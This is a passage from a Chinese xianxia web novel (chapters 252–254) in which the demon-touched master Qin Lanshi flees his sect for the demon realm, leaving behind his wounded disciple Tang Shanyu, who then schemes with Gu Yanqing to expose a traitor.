秦兰时没有惊扰他们,而是避开他们悄然地进入其中,他看到躺在床上的唐山玉,于是他走过去半跪下来,握住了唐山玉的手。 手是温热的。 秦兰时将自己的额头抵在这只手上,他一开始没有说话,只是安静地感受着,最后,四周的灵力微微晃动,是他立下的屏蔽阵在生效。 “山玉。”秦兰时唤了他一声,唐山玉没应,接着秦兰时轻轻抚上了唐山玉的胸口的伤口处,可以感觉到已经被人包扎好了,干干净净,没有他之前见过的那般脏乱。 “……山玉…”秦兰时继续唤着,今日的事情太多了,他一时之间不知道该说哪一件,最后,他有些无助地道:“我好累…我好害怕……” 可唐山玉依旧没有回应他,若是清醒的时候,这人早就把他抱怀里哄了,哪会让他那么委屈着。 “山玉……等我走后,你要快点好起来……”最后,秦兰时卧伏在唐山玉旁边,与唐山玉十指相扣着,仿佛这样能给他无限的安全感:“…我到时候把事情都交代给顾延清了,我会让他好好照顾你的,你有什么去找他就行…反正他徒弟也欠你的。” 说到这里,秦兰时哼了一声,不过也没有多说什么,只是转移起了话题:“你说,这一切什么时候能够过去啊。” “对了,别太想我啊,我可以想你,但是你不要太想我,不然会很难受的。” “醒过来后记得要好好养伤,老老实实喝药,苦的话吃点蜜饯,没有蜜饯喊你顾师伯给你买去。” “之前我们在院子里头种的小树苗你看着点呗,你偶尔浇浇水别让它死了。” 秦兰时继续和唐山玉说着话,说着说着,说到最后好像没什么要说的了,沉默片刻,他便握住了唐山玉的手,在指尖那轻轻落了一吻。 “……对不起。” …… 等唐山玉再次醒来的时候,他只觉浑身酸痛,他睡了多久了,一天?三天?胸口处的伤口在他起身的时候痛了一下。 “嘶……”唐山玉捂住胸口,当初那一剑可真是痛得厉害呢,突地,他听到了外边似有嘈杂的声音,还有一阵又一阵急匆匆地掠过他这个房间的脚步。 “……怎么了?” 第252章 他没有停下来 “山玉,跟上来。” 不知为何,唐山玉想起了秦兰时第一次教他御剑的时候,那个时候,他还只是个十一二岁的孩子吧,尽管他本人实际上的年龄并不小了。 唐山玉摇摇晃晃地踩着他那把剑,还没飞多高呢,就因为灵力控制不好直接掉在了地上,这一下,唐山玉摔了个眼冒金星。 “怎么?这就不行了?”秦兰时御剑飞了回来,显然有些无奈,然后将唐山玉从地上拎起来抖了抖几下,“这样可怎么飞啊?” “…因为…有点……”唐山玉犹犹豫豫的,他微微偏了一下头,小声嘀咕着什么,而秦兰时凑过来仔细听听,其实以他的听力他早就听清楚这个小孩在说什么。 不过他更喜欢这个徒弟能够亲口和他说出自己的需求。 “什么什么?”所以,秦兰时凑上去了,他用脸紧贴着唐山玉的脸,甚至还蹭了蹭:“好徒儿,你在烦恼什么,说出来好让为师快乐一下……啊不,为你解决一下。” “……我说,我觉得有点高,不是很敢飞行了吧。”唐山玉撇了一下嘴,随后想起什么又重新恢复回那副成熟的大人表情小孩脸。 “哈哈哈哈哈哈哈!!!”秦兰时听到这话就仰天大笑,笑得眼泪都出来了,“没有没有,我没有笑你的意思,我只是觉得你这样有点可爱……明明之前我抱着的时候还玩得很开心,但是一旦自己来就有点害怕了吧?” 唐山玉幽怨地盯着这个哈哈大笑的家伙,握紧了一下拳头又松开,因为他打不过,他只能放弃这个念头了。 “哎呀,别生气了,每个人都会有这样的第一次嘛。”秦兰时伸出手将唐山玉轻轻松松地抱在了怀里,下一刻他御剑而起,飞至高空,在那个时候,因为太突然了,唐山玉本能地闭上眼。 闭上眼后,唐山玉听到了秦兰时那低低的笑声,因为这笑声,唐山玉总觉得对方是不是在嘲笑他,于是他睁开了眼,在风打到脸上后,他看到的是万里无云的长空,还有那下方那连绵不断的山峰,飞鸟在身侧轻晃,天空的一切仿佛唾手可得。 “好看吧?”秦兰时笑问着,他抬手给唐山玉整理着有些凌乱的发丝,“等你再厉害一点,你我二人可以在这里上演速度与激情呢。” 唐山玉:…… “怎么?你不想和为师玩速度与激情吗?”秦兰时见唐山玉沉默了,连忙摆出一副可怜兮兮的面孔。 “…谁追谁啊?”既然是速度与激情,那总要有个比赛要求吧。 “为师那么厉害,当然是你追我了。”说完,秦兰时就冲唐山玉眨了眨眼,“追得上的话,我就……” “让我嘿嘿嘿?” “不嘿不嘿!你个小脑袋瓜子想什么呢!” “就嘿嘿嘿。” 到后边,俩人真的在高空上玩了一把速度与激情,秦兰时在前,唐山玉在后,俩人一前一后地追赶着,御剑的速度正一步一步地往上飙升。 秦兰时就在前面,他爽朗的笑声随着风传到了后头,而后边的唐山玉则对秦兰时伸出手,可他发现自己怎么也抓不住这个家伙。 就连现在也是这样。 唐山玉气喘吁吁地站在人群里头,四周是围观的弟子们,没有人会在意一个突然出现的他,尽管他看上去有些狼狈。 他想要往里头看去,但是一堆人挡住了他前进的步伐,他没有带剑,也没有带储物袋,他是急匆匆跑出来的,他什么都没有。 唐山玉抬起头看着有些利用自己法器和剑飞在空中的弟子们,于是他伸出手拍了拍离他最近的弟子:“能不能借我一把飞行法器……” “不能,因为我也没有,不然我为什么站在地面上。”这个弟子拒绝得也很果断,理由也是非常合理的。 唐山玉:…… 唐山玉没办法了,他现在感觉到丹田里头空空如也,没什么灵力,可能是伤势没有恢复的缘故吧,在自愈的时候灵力会被丹田用来修复身体。 因为那朵同心莲被毁了,所以秦兰时也并不知道他过来了。 所以,到底哪里可以看得到……哪里可以…… 唐山玉急切地在周围寻找起来了,人群的中央,在最中间那里,有他想要找到的人,他挤不进去,那就只能找个高点的地方……高点…… 接着,他看到了不远处的高塔,因为弟子们都会飞行,所以这高塔于修仙者而言并没有什么用,再加上少人过来,所以算是比较清冷的一座塔,而这座高塔如今单纯变成了弟子们偷闲或者约会的地方 唐山玉往高塔处那里跑去,他好像感觉到胸口好像越来越痛的,伴随着急速的心跳和要喘不过气来的声音,他跑上了高塔,并且站在上面,朝着远处望去。 在那个时候,他感觉到口腔的血腥味的浓郁,但是这些已经不重要了,最重要的是,他要看到秦兰时,他想要看到秦兰时…… 哪怕只是一个背影。 而唐山玉也如他所愿那样看到了秦兰时,秦兰时站着中央,太阳光芒将他笼罩,众人的视线都落在他身上,他就那样微笑着,不卑不亢和断恶庭,随清宗还有其他宗门派来搅和的家伙对峙着,就像一个光芒万丈的主角那样。 “秦……”唐山玉张了张嘴,想要喊出什么,可那头的秦兰时却已经开始了他的盛大表演。 “就因为我入了魔,你们就要置我于死地?”秦兰时看上去有些恼意,嘴上挂着嘲讽的笑容,他张开双臂,像在享受一场即将到来的暴雨,“真是可笑至极,你们断恶庭的断恶手法还是一如既往的让人无语。” “魔即是罪。”断恶庭为首的长老站出来,怒指着浑身散发着魔气的秦兰时,“许是你本人就心术不正,这才让心魔有了可乘之机,事到如今你还想用什么为你开脱?” “我秦兰时一人做事一人当,没你想得那么龌龊,不如说思想龌龊的人才会用看自己的眼光去看其他人。”秦兰时呵呵一笑,微微一摆手,“哟,说不过就想打人了?急了急了……” 红温的长老指着秦兰时指了半天都说不出个所以然来,于是就换了另一个长老上前,这个长老才上去不久呢,就被秦兰时嘲讽回去当缩头乌龟了。 最后,还是一个看着比较容易不破防的长老站了出来,他拄着拐杖,怒目圆瞪,很是威严地道:“就算你入魔是为拯救宗门,可魔气易扰人心,你如何保证你不会被魔气所驱使,而非驱使魔气?” “青莲尊者,这个称呼已然是过去的事情了,既然你变成了魔修,那我们自然不能任由你祸乱人间,仙与魔本就势不两立,既然你走了歪路,老夫又怎么能让你在此路上越走越远。” “……”秦兰时微微皱眉,接着他便握紧了手中剑,按照计划他要打伤几个随清宗长老和断恶庭的长老,然后就按照顾延清给他规划好路线一路逃离这里,最后就可以直接前往魔界了。 对,只要这样就可以了。 既然下定决心,就没什么好怕的了。 少反省自己,多责怪他人。 这样想着的时候,秦兰时便开始观察起他要跑过去的路线,然后他就看到在那个路线上,那座高塔上的,那个熟悉身影。 他曾经如此想着在离开前看见这人清醒过来的样子,哪怕听听这个人的声音也是好的。 唐山玉自然察觉到了秦兰时发现了他,俩人就这样对视了一会儿,最后是秦兰时先移开视线。 此时,前面的长老还在输出,但是秦兰时已经听不见了,他满脑子都是唐山玉站在塔上看着他的模样,那双满是他的眼睛里写满了: 带我走。 带我一起走。 求求你。 …… 在那一个瞬间,说没有心动是不可能的,这个路线刚好他就是经过那座高塔,只要顺手将人扯在怀里,他们就可以一起前往魔界。 而且唐山玉是不会嫌弃他,他知道的,唐山玉只会无奈地叹了口气,然后又笑着他怎么又闯祸了,然后又会再次站到他的身边。 就和之前一样。 但…… 秦兰时想起了唐山玉此时此刻的模样,单薄的里衣,气喘吁吁的模样,还有……那胸口处明显的红,很明显是伤口崩开了,血自里头渗透了出来。 是啊,他的山玉受伤了啊。 …… 唐山玉正在耐心等待着,他扶住栏杆,任由风将他的心情吹乱,疼痛感继续自胸口蔓延开来,可这些都已经无所谓了。 他在等。 他在希望着。 他在祈求着。 很快,唐山玉就看到那边的秦兰时再次转过头来。 他们隔着人海。 隔着好像很长很长的一大段距离。 最后,唐山玉看到了答案。 他看到了秦兰时对他温柔地笑了。 这个笑容里头的含义,唐山玉又怎能不懂呢?最后,他眼睁睁看着秦兰时和那边打了起来,场面一顿混乱起来,弟子们也纷纷崩溃不看热闹了,参与不了战斗的自然跑了,能参与战斗的却在犹豫要不要出手。 很快,没过一会儿,秦兰时就朝着这边狂奔过来,他看上去很急,身上的衣服被刀剑划开了几道伤痕。 面对着即将过来的秦兰时,唐山玉居然没来由地生起一丝期盼。 万一他只是理解错刚才那笑容的含义呢?万一他只是突然间脑抽想错了呢?万一……万一呢? 于是,唐山玉想要伸出了手,去抓住什么,可他还没举来,就看到秦兰时自他身边似风一样掠过去,头也不回,还有追着他的那几位长老。 他们都经过了唐山玉身边。 经过了很久很久。 久到这座塔楼里再度响起另一个人的脚步声,一道,两道,三道,来人正是江玉瑶三人,他们找了唐山玉好久。 而江玉瑶在看到唐山玉后刚开了口就突然顿住了:“山……” “山玉?你怎么了?”叶玄洲接过她的话说下去。 就连方安城也开口了:“山玉?你的伤还没好,该回去了。” 江玉瑶抬起手一手一个衣领子,她踮起脚努力拽着俩人:“山玉哥哥!我们在下面等你!!” 说完,只见她一个用力,两个大男人就顺从地在江玉瑶那有些危险的目光里被拽走了,并且还给唐山玉关上了门。 在他们离开后,这个塔楼就显得更安静了,吵闹过后的清冷往往是最磨人的,而在这片安静里,唐山玉摊开手,突地,一滴泪滑落了下来,滴在了掌心上。 唐山玉知道,他哭了。 这滴泪仿佛是某个开关的打开,这让唐山玉无法再忍受,这不仅仅是他醒过来后询问弟子所得知的信息,还有方才他所遭遇的一切。 可唐山玉就连哭泣也是无声的,他张了张嘴,什么也说不出来,只有那眼泪止不住地往下流,或许他连哭也压抑住了。 只会哭是什么也做不了的。 可是他现在好像也只能哭。 正是因为如此,他的无能便在此时此刻体现得淋漓尽致。 所以他不想,也不愿意放声大哭。 与此同时,他也对秦兰时的离去产生了一丝恼意,这种生气是没来由的,是责怪自己的,也是责怪对方的。 可不知为何,他再度想起了那一天,那一天,他与秦兰时于空中追逐着,因为秦兰时的实力摆在那里,这使得他怎么也抓不到秦兰时的衣摆。 这种时候,秦兰时就会停下来,等唐山玉重新追上来,而在唐山玉追上来后,他又会开始得意洋洋地炫耀起自己的御剑技术。 唐山玉也就跟着听着。 在这场速度与激情的游戏里,只有在那个时候,俩人才是并肩而立的。 “真是可惜啊,就差一点点了。”秦兰时叹口气,叹了口来自师父的气,不过很快他又鼓励道:“没事哒没事哒,山玉,你下次一定会追上的。” “实在不行,我停下来等等你~” 说出这句话的时候,唐山玉侧头看着秦兰时,在风里,也在阳光里看,风景很好,天气也很棒,至少现在,他们并肩而立。 …… 可是这一次,秦兰时没有停下来等他。 第253章 跟我走 这一天过后,唐山玉和江玉瑶他们一起回到了药庐,路上大家都没有说话,毕竟今天秦兰时的事情已经传遍了整个宗门。 这也使得唐山玉的身份变得有些微妙起来了。 入魔长老的唯一弟子,也不知断恶庭会不会学习凡人的那种连坐。 唐山玉回去后就重新坐回床边,江玉瑶给人换了绷带和药,叶玄洲和方安城则是在旁边帮忙,等换完后唐山玉什么也没说,他像是打击过大那样。 江玉瑶想要说点什么,可是这种氛围真的适合说话吗?好像不太适合,所以最后她只是轻声叮嘱道:“山玉哥哥,你好好休息,我们明天再过来给你换绷带。” “…好。”唐山玉听到这话后,似是终于从方才的状态剥离出来,他冲江玉瑶微微一笑:“麻烦你们了。” “不麻烦,一点都不麻烦,山玉哥哥要快点好起来呀。”江玉瑶连忙摇头,并且用眼神示意叶玄洲和方安城也多说几句。 “对,你快点好起来,最近我家新办了不少产业,其中就有一家不错的酒楼,我可以带你们一起去吃吃看。”说着,叶玄洲就开始使用起他的金钱安慰大法了。 “山玉,我们会陪在你身边的。”方安城见此也慢慢蹲下来,蹲在唐山玉的脚边,像一只乖巧的小狗,并且眼睛大大地眨了眨:“你要好好养身体。” “…谢谢。”唐山玉叹了口气,随后他似是想起什么又问道:“泽竹呢?怎么没有见到他?” 按理来说,谢璟不在了,慕轻轻没有回来,盛知许在凡间继续当他的帝王,那么石泽竹应该会过来看他才对。 “他?他啊……”方安城虽说对于这个突然插进他们话里头的石泽竹有那么一丝不满,不过他还是回答了唐山玉的问题:“听说他在孟长老那里刻苦修炼。” “嗯,他让我们给你带一句话,他说让你多多保重,他这次苦修没有个几年是出不来的。”叶玄洲点了点头,也想起了这件事,主要是今天唐山玉不见了实在是把他们吓到了,再加上秦兰时离开宗门的事情,事情太多了一时之间忘记也是正常。 “…这样啊,谢谢你们,我想先自己休息一会儿。”唐山玉愣了一下,随后他继续笑着道。 江玉瑶他们自然应许,当即就要离开,只是江玉瑶在离开前回头看了唐山玉一眼,就在唐山玉以为还有什么事的时候,小姑娘一脸认真地开口道: “山玉哥哥,要是难过的话,可以不笑的。” 唐山玉没有回话,但是他也跟着收起了笑容,冲着江玉瑶点了点头,目送着他们离开。 等门重新被关上后,四周的安静要将他所淹没,就连呼吸也因为这一刻变得有些急促起来,有些难耐,又很难受,唐山玉坐在床边,就那么低着头,他没有躺回去,而是就这样坐在这里。 他仿佛在等着什么。 很快,他等到的人也过来了。 只见顾延清不知道什么时候出现在房间里,屋内因为他的进来重新亮起了灯,灵灯闪烁着,而顾延清走过来,找了个椅子,在唐山玉的旁边坐下。 “听说你醒了,身体可还好?”顾延清看了一眼唐山玉的伤口,轻声问道。 “…身体很好,但是我的心可一点都不好。”唐山玉本能地扯一下嘴角似乎想笑,不过他又想起了江玉瑶的那番话,所以他只是嘴唇稍微动了一下,就重新抿住,“所以,我师父到底是什么情况?那天晚上到底发生了什么?” 唐山玉心里的疑问实在是太多了。 顾延清也和唐山玉说了秦兰时入魔后要去魔界卧底的事情,还有那天晚上魔族入侵随清宗,谢璟被带走的事情……最后是苏岭月飞升陨落的事。 总之,那一天晚上的事情太多了,顾延清每每想起来都觉得有些……难受,难受的太多了,但是他不知道应该先难受哪件事。 唐山玉安静地听完了,听完后他就微微点头,继续问道:“那么随清宗的叛徒找出来了吗?” “…这也是我想要和你说的,我们没有找出来,毕竟人太多了,再加上那天晚上比较混乱。”说着,顾延清又叹了口气,接着他说起了另一件事:“还有长乐……我发现她好像已经不在随清宗了,也不知是也被带走了,还是如何?” 他来到胡长乐居住地方的时候,只看到一个醉醺醺的学长躺在鸟窝里头,把学长喊起来了,也没有得出答案。 因为学长喝完酒后就失忆了。 “…胡长乐的事情先不用着急。”唐山玉听到这件事顿了顿,随后便继续道:“还是宗门内部的叛徒,若不解决,容易生患,这样魔族就有可能来第二次。” “我也是这样想的,所以我在想办法……”顾延清说着,突然看向唐山玉,只因为唐山玉的视线太过强烈,好似在要求顾延清看他,“……山玉?” “他既然想要搞乱,不如我们制造一场混乱让他以为可以操控?既然是魔族那边的,我们就安排一场魔族会喜欢的戏码如何?”唐山玉微微一笑,这次他的笑容倒是真切了一点,是蕴含着些许坏心思的笑容。 “…你要做什么?” “很简单,只需要我……”唐山玉说出了自己的计划,和自己做过的打算,说完后就被顾延清当场否决了。 “不行。”顾延清偏过头去,强硬地拒绝了唐山玉这个方法,一边拒绝还一边站起来,似乎打算就此走人,以此来证明自己的决心。 “…呃啊!”突然,唐山玉怪叫了一声,随后顾延清本能地回头看去,这一停顿的空隙就被唐山玉给抓住了。 只见唐山玉直接摔下床,果断地在地上来了个咸鱼翻滚,然后直接滚到了顾延清的脚下,抓住了顾延清的脚踝。 “不行,不许走。”唐山玉阴暗地顺着大腿往上爬,然后他死死地抱住,“我的伤还痛着呢,我的师父还不在身边呢,你不许走。” 简直是暴击。 直接往顾延清的心窝上扎。 狠。 太狠了。 虽然这对唐山玉来说也是暴击。 也算是杀敌一千自损八百了。 “……你那个法子太过冒险,不可。”顾延清继续拒绝,并且努力地动了一下脚。 “有什么不可的?我觉得这个法子很好用啊?不然我岂不是白做那么多的准备了?”唐山玉说着,又用了点力,他就是仗着自己是伤员在对顾延清的良心为所欲为。 “…我答应过兰时要好好照顾你,所以,不可以。”顾延清真的很努力了,他真的想走,但是唐山玉和秦兰时一样执着,与此同时,他也怕自己心软。 “我是最佳人选啊,毕竟我可是入魔长老的唯一弟子,又没什么名气,实力也不厉害,非常方便任人宰割啊!”唐山玉不管,唐山玉继续抱人家大腿,一边抱还一边挤几滴眼泪出来:“顾师伯,我不甘心呜呜呜,我一想到那个混蛋居然还在逍遥法外,我不甘心啊!!” 这确实应该不甘心。 但是…… “你不应该用如此不顾自身安危又冒险的方法。”顾延清低头看着抱住自己大腿的唐山玉,一字一句地继续道:“我答应过他,不能让你有事,兰时让我好好照顾你。” “……你这话总让我想起…”唐山玉可谓是欲言又止,一副想说但是不知道说什么的模样,“懂了,我是他留下的遗产吗?” 顾延清:? 顾延清有些不能跟上这个脑回路。 但是非要说遗产好像也有点对,但是秦兰时还没死啊,用遗产应该不对才是…… “总之,顾师伯,你应该知道这个叛徒不能再在这里待着了,越久越不安全,还是说,你想我在随清宗里头住着住着也和谢璟一样被魔族拐走吗?”唐山玉见顾延清因为没搞懂他的抽象从而导致脑袋宕机,应该是暂时不会走了,于是他小心翼翼地从地上重新站起来。 “…不会再有同样的事情。”顾延清听到这话立马回答道。 “万一呢?万一呢真的又有呢?顾师伯,我们要防范于未然啊!”唐山玉觉得自己可以再接再厉,于是他继续劝说着。 可在下一刻,顾延清却轻轻抬眸瞥了他一眼,只一眼却让唐山玉感觉到一丝不对劲,直觉告诉他,顾延清接下来的话肯定没有好事。 “无妨,过会我把你接到我住处便可,你我同吃同睡,就不会有危险了。” 唐山玉:? ……啊? 啊??? “我不要啊!!!”唐山玉发出了今天第一场尖叫,他像是怕极了那样重新躺回自己的床上,然后把被子盖回身上,一副他现在就要入眠的模样。 顾延清似乎越想越对劲,当即就走到唐山玉床边,伸出手似乎准备把唐山玉接回自己那个大大的房子里头。 “顾师伯!你不要扯我被子!我错了!我真的错了!这个事情我今天不谈了!您回去吧!回去吧!”唐山玉直接把自己的脑袋给盖住,盖得死死的,而他语气依旧和方才一样惊恐。 “不可,山玉,我们一起回去吧,我的房子还挺大的,腾一个房间出来给你睡绰绰有余。”顾延清催促着,然后开始面无表情地扯唐山玉的被子。 “不!不行!谢璟他现在睡过了没有?他应该有睡过吧?!”唐山玉很是惊恐地看着被子来到了顾延清的手上。 “现在没有。”顾延清摇了摇头。 完了。 他要与曹贼共舞了吗? 不对。 到底现在谁是曹贼啊? “不过,小时候阿璟做噩梦的时候有睡过。”顾延清那么说着,就开始转头给唐山玉收拾起东西了,速度之快到唐山玉看不明白。 顾延清不是在玩抽象。 他是真的觉得这样有用的啊啊啊啊!!! …… 不过,好像确实有用。 就在唐山玉还在脑内风暴的时候,那边的顾延清就给他来了一句: “山玉,我这是为你好。” 经典大家长的发言让唐山玉顿时忘却了一下今天的悲伤,现在他有了新的悲伤,那就是顾延清真的要给他换地方住了。 唐山玉怀疑顾延清是不是有些应激,不然这态度怎么那么强硬。 最后,顾延清真的把唐山玉打包好带了回去,回去的时候唐山玉一边觉得这样确实安全一边又觉得浑身不自在。 不管怎么样,他好像的确暂时住下了…… 总之那个法子顾延清不答应,唐山玉也没有办法,他又有点不太想对顾延清玩撒娇打滚那款,因为他感觉这个只有秦兰时有效果,而谢璟那操作他也学不来也不会学。 不自在是不自在,但是这个房子真的好大啊…… 唐山玉眼含泪水地住下来了,并且扒拉着小伙伴给他打的食堂饭菜,里面还有他最爱的红烧鱼。 这边的唐山玉在煎熬地养伤。 那边的秦兰时正在生死逃生。 只见秦兰时极为灵活地躲过了追兵,成功藏了起来,现在他已经离魔界近了不少了,就差寻个带路魔就行了,而且追兵在临近魔界后就少了很多。 只不过寻路魔该怎么找呢? 完了,第一次当卧底有点没经验,所以秦兰时决定翻开卧底前辈们的魔界卧底小知识,当然书皮不可能是这样写的,内容也没有那么明显。 只是单纯地告诉秦兰时去魔界的路该怎么走而已。 “……寻找到一条挂着红布条的酒肆,在小门处三叩门,曰:天下人间,死门常开。”秦兰时小小声地念着这个知识,反正他法力高,会屏蔽术,暂时没有人和魔能发现他。 “红布…红布……”秦兰时一边念一边在这个靠近魔界的小镇子里头找了起来,很快,他就找到了那间酒肆。 按理来说,现在走小门就可以了。 可是秦兰时却先选择去酒肆里头买些酒喝喝,这才刚打开门呢,就看到里头有人在打架,一只碗,一双筷子,还有几只臭鞋子在空中飞了起来。 啪的一下,一壶酒朝门口飞了过来。 秦兰时眼疾手快地将其接住,他本能地摇了摇酒壶,便察觉到里头还有不少酒,于是他打开闻了闻,发现还挺香。 “这边界处还真是民风淳朴啊。”秦兰时拿着酒走进去,找好桌椅,拿了点打架人不要的瓜子,开始看起了热闹。 日子,还是得这样过带劲啊。 第254章 魔界 里头在打架,秦兰时在干饭。 里头还在打架,秦兰时已经换成饭后甜点了。 里头已经血溅三千里,秦兰时开始邀请看戏的人坐他旁边一起吃吃喝喝了。 “兄弟,瞧你身上的装扮,你是刚来的吧?”被秦兰时递瓜子的兄弟瞧了秦兰时一眼,就接过瓜子边啃边唠嗑着,“没想到遇到这种情况,你还那么平静,也是个人物啊。” “对啊,那么明显吗?”秦兰时看了看自己浑身上下的打扮,看上去灰扑扑的,穷穷的,但是也不是很像要饭,倒是像个流浪侠客。 “那可不嘛,哎,既然如此,你猜猜看里头为什么在打架?”说着,这个男子就贼兮兮的指了指那边的混乱,带着分享八卦的心情道:“就中间那个看戏女人,就是本次事件的主人公。” 秦兰时觉得这人说起话来,里头的韵味和故事感不去说书怪可惜的,但是这八卦,他必须得听听。 “就那个女人是咱们这酒肆的老板娘,她这不是最近找了个相好吗?可谁知她那死去的丈夫突然回来了,大家都以为这丈夫被外边的魔物吃了。”男子开始说起了八卦,那叫一个绘声绘色,那叫一个身临其境。 “所以打架的是那个死去的丈夫和她的新相好?”秦兰时这么一听,也就悟了,他一边吃瓜子一边继续问道:“还好吧,也不是很劲爆。” “我才说个开头呢!你急什么!”男子瞪了秦兰时一眼,随后继续道:“听说那老板娘早就和那相好好上了,只不过是趁着那丈夫疑似死去并且不在的时候和相好光明正大起来了。” “还行吧。”秦兰时觉得还是很平静,不如男子和母猪结婚。 “然后就是!有传闻说这丈夫的死和那老板娘还有相好有关,这丈夫也是命大,居然活着回来了。”男子见秦兰时还是一副淡淡的模样,当即就不乐意了,他顿时就起了战意,立马把这八卦描绘得更加动听:“听说那女人相好可不止一个,东边一个,西边一个,北边一个,现在这个是南边的,而且他战斗力不是很强,现在正在被那个丈夫压着打。” “这样啊,不过比起这个,老弟啊。”秦兰时语重心长地拍了拍男子的肩膀,很是无奈地道:“你八卦不错,但是你没有发觉那边的人没有再打架了吗?” “啥?”男子看了过去,然后他就发现那些人已经停止了打架,一群男人就那么直勾勾地看向了这里。 下一刻,一把蕴含着魔气的筷子朝着这边飞了过来,目标是那个男子的脑袋,只不过这一切被秦兰时抬手间化解了,筷子掉落在了地上,响起了一声脆响。 “几位不要太生气嘛,至少别和凡人生气。”秦兰时嘿嘿一笑,然后冲那边的老板娘眨了眨眼:“正好,我是有事来寻的,你们打完了吗?打完了就轮到我了哦~” “嗯?”老板娘微微挑了挑眉,她细瞧了一眼秦兰时那张俊俏的脸,当即就满意地点了点头:“这位客官找我有什么事?” “一些私事。”秦兰时笑了一下,不得不说,秦兰时这张脸笑起来的时候就好比春日的暖阳,让人很是心生欢喜。 “哎呀,那就过来吧,哦,你们可以走了。”老板娘顿时就心情好起来了,她看上去一副少女怀春的模样,脸蛋红红的。 “…音娘……”一个大男人眼泪汪汪地看了过来,他显然是被打得很惨的南方相好。 “…夫人……”还有一个大男人似乎有些咬牙切齿地看着音娘,但是他却不敢动,只能满眼幽怨地看着。 “走不走呀?你们的脸我都看了几十年了,难得今天有个新鲜的,别拦着我看俊俏郎君。”老板娘闻言皱起眉,身上的魔气似有些涌动,只不过就一下,反正就这点魔气凡人是察觉不出什么来的。 “…走,我们走。” 身体受伤和内心受伤的男人们带着他们的帮手灰溜溜地离开了酒肆,而与此同时看热闹的人都跑掉了,包括方才给秦兰时讲八卦的家伙。 “你瞧着也是个修魔的,有什么事么?”老板娘倒也直白,直接就问秦兰时要做什么了,只不过欣赏脸也是真的,这不,她正目不转睛地盯着秦兰时的脸看着呢。 “嗯~”秦兰时走过去,凑近了些,就在老板娘以为自己要迎来新的春枝的时候,她就听到秦兰时在她耳边低语道:“天下人间,死门常开。” “……按照规矩,你不应该走大门的。”老板娘的脸色一变,危险地眯起眼:“我这里可不是什么人都能来的。” “规矩是死的,人是活的,我之所以不那么干,也是为了认识老板你啊。”秦兰时重新站回去,自信地撩了撩发,他仿佛知道自己现在很好看,“再说了,你要不仔细些看看我的实力?” 老板听到这话,倒是有些好奇了,就那么细细打量了一下,就一下,她浑身抖了起来,并且伸出手环抱住了自己:“我的天啊,你真是……你是刚当魔修吧?怎的不晓得好好控制一下体内的魔气,我差点就要被冲撞没了。” “哎呀,抱歉,我的确是新魔修,这不是第一次当不熟练,这才来找你来了,怎么样,我这实力不错吧?是不是能和……”说着,秦兰时压低了声音笑道:“那些魔主比一比呢?” “…怎么,你想我压宝?嘛,有雄心壮志是好事,但是你可找错人了,我就是个守在这边界的平平无奇的酒肆老板,哪还能陪你下这个注。”老板扭了一下身子,就往柜台那走去:“嘁,你自己干去,反正正好最近死了个魔主,位置也是空出来了。” “魔界里头,强者为尊,我听说最近里头有那什么魔主选拔赛,你去参加就行了。”老板一边说一边打开一个柜子,里头似是装着一个法器,拿出来发现是一件像爪子的东西。 “哇,老板心善,居然告诉我那么多信息,我会念着你的好的~”秦兰时搓了搓手,笑嘻嘻地道,并且拿出了自己仅有的几枚灵石放在桌面上:“我们现在是要出发去魔界吗?” “瞧你期待的,就那么想去?”老板白了他一眼,这还是她第一次看见那么积极的魔修:“那里可没什么好的。” “…因为,有人在追杀我,我得赶紧去那边躲一躲。”秦兰时嘿嘿一笑,然后很不好意思地挠了挠头。 这让老板拿法器的手抖了抖,于是她果断地拿着爪子带着秦兰时来到里头的隔间,给人画了一道魔界裂痕,直接伸出脚把人给猛踹了进去:“你被人追杀居然还光明正大跑老娘酒肆来!!想死啊!!” 这一脚,多少来了点私人恩怨。 虽然这是秦兰时打算威逼这个老板让他过去的方法,要问他为什么不按规矩来呢?因为他是真的想看看能不能问出点什么,至少这个老板看上去还像个人样。 总之,秦兰时进去魔界裂痕后,就感觉到一阵天旋地转,等他回过神来,就发现自己在红色的天空上坠落下来,底下是没有生机的荒漠。 荒凉。 这是秦兰时的第一个念头。 等等,红色天空,他好像在哪里读过类似的,秦兰时果断地驱动着魔气快速落地,一落地,他就听到了天上的惊雷,伴随着惊雷而来的,还有那倾盆而下的黑雨。 “……”秦兰时果断用起魔气罩躲雨,只不过他发现这雨有点不同寻常,似乎有些腐蚀的效果。 ……这魔界是什么末日求生的地方。 难怪魔修一个个的都脾气不好,敢情是生活的地方太糟糕了。 突然间就能够理解一点了呢。 总之秦兰时顶着这黑雨往一个看上去像是魔界的小村子里头赶去,路上,有冤屈的尸骨伸出手抓了他的脚一把。 “你干嘛啊?!”秦兰时被它吓了一跳,没有立马把它踩碎,是他的道德和良心在作祟。 “……”尸骨浑身散发着怨气地抓着秦兰时的脚。 “你等等,你等等,放我过去一下,等雨停了,我事后回来给你立一座墓碑成不成?”秦兰时觉得这黑雨也是越下越大了,于是他好声好气地哄着这个冤骨。 似乎是墓碑动鬼心,冤骨松开了控制秦兰时的手,秦兰时得以飞速地离开了,很快,他就来到了这个小村子里头,这里的房屋很旧,但是这场黑雨并没有把这些房子给腐蚀,许是本地人的一些奇思妙想解决的吧。 这边的秦兰时还在躲雨,另一边的尹离郁已经把谢璟带回了开会用的大宫殿,她轻轻一甩手,谢璟就直直地摔在了地上。 可这人就算摔在地上,除了坐起来就一点动静都没有了。 “……你对他下手了?”江易年在旁边看了一眼,语气里头满是怀疑地问道。 “?我是那种人吗!想什么呢!”尹离郁目前还不好对谢璟下手呢,因为这是大人要的人,在大人没发话把人丢掉之前,她才不会这样做呢。 “呵。”段明野站在一边阴冷地笑了一声。 “小野野?你什么意思!!”尹离郁听到这声冷笑,当即转变了战场,只不过她的话都被段明野当成了耳边风。 “大人,接下来我们要做什么?“楼栖凤看着也一起回来的大人,严肃询问着他们接下来的打算。 “剑带回来了吗?”大人瞥了那半死不活的谢璟一眼,没什么表示,而是问起另一件事。 “自然。”楼栖凤把那无极剑递上来了,而大人也就伸手接了过去。 剑上的灵力已然转变为了魔气,此时此刻正隐隐散发着血红的魔光,很明显这次的血它很满意。 “没想到我们到的时候,他恰巧出了状况,倒也省了我不少事。”大人将这魔剑丢到了那边谢璟的脚边,这让谢璟的身子微微一抖。 “为什么得到无极剑认可的是这个小子?”江易年对于随清宗并没有什么好脸色,因为随清宗总是在阻碍他做事。 “难不成……”尹离郁也跟着严肃了起来,下一刻,她捧起脸嘿嘿一笑:“是因为脸吗?” “……有病。”段明野听到这话,毫不客气地翻了个白眼。 